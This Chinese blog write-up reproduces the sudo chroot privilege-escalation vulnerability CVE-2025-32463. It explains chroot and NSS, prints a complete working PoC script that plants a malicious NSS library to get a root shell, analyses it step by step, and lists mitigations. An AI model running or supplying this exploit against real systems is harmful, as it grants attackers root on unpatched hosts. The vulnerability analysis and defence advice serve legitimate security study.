CVE-2025-32463复现
目录
- 背景知识
- chroot环境
- chroot 环境的具体表现
- Name Service Switch (NSS)机制
- 漏洞简介
- 环境搭建
- 复现
- POC分析
- 防御方法
- 参考文章:
背景知识
chroot环境
(全称“change root”)是一种Unix/Linux系统中的隔离技术,其核心作用是将进程的根目录(/
)切换到系统中的一个子目录,使该进程只能访问这个子目录内的文件和资源,无法突破到外部真实的文件系统。
chroot 环境的具体表现
-
根目录被“替换”
进入chroot环境后,进程看到的/
(根目录)实际上是原系统中的一个普通子目录(例如/tmp/mychroot
)。例如:- 原系统中的
/tmp/mychroot/etc/passwd
,在 chroot 环境中会被视为/etc/passwd
; - 原系统中的
/usr/bin
等路径,在chroot环境中不可见(除非手动复制到子目录中)。
- 原系统中的
-
资源隔离
进程无法访问chroot目录之外的文件、设备或系统资源(如网络配置、其他分区等),仿佛运行在一个“迷你独立系统”中。例如:- 尝试访问
/proc
(系统进程信息)或/dev
(设备文件)时,只能看到chroot目录内手动复制的部分内容。
- 尝试访问
-
权限限制
即使进程在chroot环境中拥有“root权限”,其操作范围也被限制在子目录内,无法影响外部真实系统(正常情况下)。
Name Service Switch (NSS)机制
NSS是Linux用于管理各种系统数据库(用户、组、主机等)的框架。关键点:
- 配置文件/etc/nsswitch.conf指定各数据库的查询顺序和方式
- 标准格式:数据库名: 服务1 [动作] 服务2…
- 例如passwd: files nis表示先查本地文件,再查Network Information Service
- 共享库命名规则为libnss_<服务名>.so.2
漏洞简介
CVE-2025-32463是Linux系统中Sudo工具的高危本地权限提升漏洞,主要影响1.9.14至1.9.17版本。该漏洞源于Sudo的“-R(–chroot)”选项在实现上存在缺陷,即便攻击者是本地无特权用户且未配置任何sudoers权限规则,也能利用这一漏洞:通过构造恶意目录,并在其中伪造/etc/nsswitch.conf文件,诱导Sudo在处理chroot操作时加载恶意动态库,最终以root权限执行任意代码。目前,Sudo 1.9.17p1版本已修复此漏洞,修复方式为回退1.9.14版本中与chroot功能相关的修改,并弃用了“–chroot”功能,以此彻底消除该安全隐患。
-R选项的具体功能:
-
切换根目录
使用-R
选项后,Sudo会将指定路径作为新的根目录(/
),执行的命令只能访问该路径下的文件系统层级。例如:sudo -R /path/to/chroot /bin/ls
此命令会在
/path/to/chroot
目录为根的环境中执行ls
,显示的是/path/to/chroot
内部的文件列表。 -
安全隔离
常用于需要限制程序访问范围的场景,如测试不受信任的代码、运行特权服务(如Web服务器)时降低风险。 -
系统维护
在修复系统引导问题或文件系统损坏时,可以通过chroot环境访问和修改受损系统。
环境搭建
直接用平时常用的kali即可,我安装的是2025版本的kali,应该有该漏洞
版本符合漏洞影响范围
复现
利用国外大佬的Poc复现即可:
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
克隆poc到kali上面,进入poc目录。根据poc描述检查是否存在漏洞
返回了sudo: woot: No such file or directory,说明存在漏洞
如果是Windows克隆后复制到Linux上面,可能执行不了,这时候尝试chmod +x给脚本可执行权限,还有就是记得把所有文件换行转换为Linux格式的换行find /path/to/your/folder -type f -exec sed -i 's/\r$//' {} +
然后直接执行脚本就得了。
POC分析
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1if [ $# -eq 0 ]; then# If no command is provided, default to an interactive root shell.CMD="/bin/bash"
else# Otherwise, use the provided arguments as the command to execute.CMD="$@"
fi# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOFmkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
- 环境准备
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
创建临时工作目录,确保后续操作不会污染系统其他位置。
- 命令处理
if [ $# -eq 0 ]; thenCMD="/bin/bash"
elseCMD="$@"
fi
$#:表示传递给脚本的参数个数
如果用户没有提供参数,默认执行交互式bash shell;否则执行用户指定的命令。
例如:./sudo-chwoot.sh whoami会执行whoami命令
- 生成恶意共享库
__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
这是一段C代码,利用GCC的constructor属性,使指定函数在共享库加载时自动执行。其功能是将当前进程的用户ID和组ID都设置为0(即root),然后切换到根目录并执行用户指定的命令,-c表示执行字符串形式的命令。
- 配置NSS欺骗
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
创建一个伪造的chroot环境:
- mkdir -p:递归创建目录结构
nsswitch.conf
是Name Service Switch配置文件,这里将密码数据库查询重定向到我们的恶意库,正常来说passwd: files systemd
会调用libnss_files.so.2和libnss_systemd.so.2这些库,而这个异常的会调用libnss_/woot1337.so.2- 复制真实的
group
文件以避免命令执行时因缺少group信息而失败
- 编译恶意库并执行攻击
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot
- shared:生成共享库
- fPIC:生成位置无关代码(共享库必需)
- Wl,-init,woot:通过链接器指定woot函数为初始化函数
- 输出为libnss_/woot1337.so.2:符合NSS模块命名规范libnss_*.so.2
sudo -R woot woot
是关键攻击命令:-R导致Sudo加载我们控制的nsswitch.conf。第一个woot
是chroot目录,第二个woot
是要执行的命令(实际会被忽略,因为恶意库已接管)
- 攻击原理
当sudo执行-R
选项时,它会切换到指定的chroot环境并尝试解析用户信息。由于我们修改了nsswitch.conf
,sudo会加载我们的恶意库woot1337.so.2
,触发构造函数,将当前进程权限提升为root,然后执行用户命令。
防御方法
-
立即更新Sudo版本:将Sudo升级至1.9.17p1及以上版本,该版本已通过回退存在问题的代码并弃用
--chroot
功能修复漏洞,可通过系统包管理器(如apt
)执行更新:sudo apt update && sudo apt upgrade sudo
。 -
临时禁用
--chroot
功能:若暂时无法升级,可编辑Sudo配置文件(/etc/sudoers
,需用visudo
命令),在相关规则中限制-R
/--chroot
选项的使用,或直接移除包含该选项的配置,阻断漏洞利用路径。 -
限制文件权限:严格控制系统中
/etc/nsswitch.conf
及相关目录的读写权限,防止非授权用户篡改或创建恶意文件,减少攻击者构造利用环境的可能性。 -
监控异常操作:通过日志审计工具(如
auditd
)监控涉及sudo
命令、chroot
操作及系统库文件加载的异常行为,及时发现潜在攻击尝试。
参考文章:
https://mp.weixin.qq.com/s/mZdIwl9h8tN6J5FNDUl2IQ
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot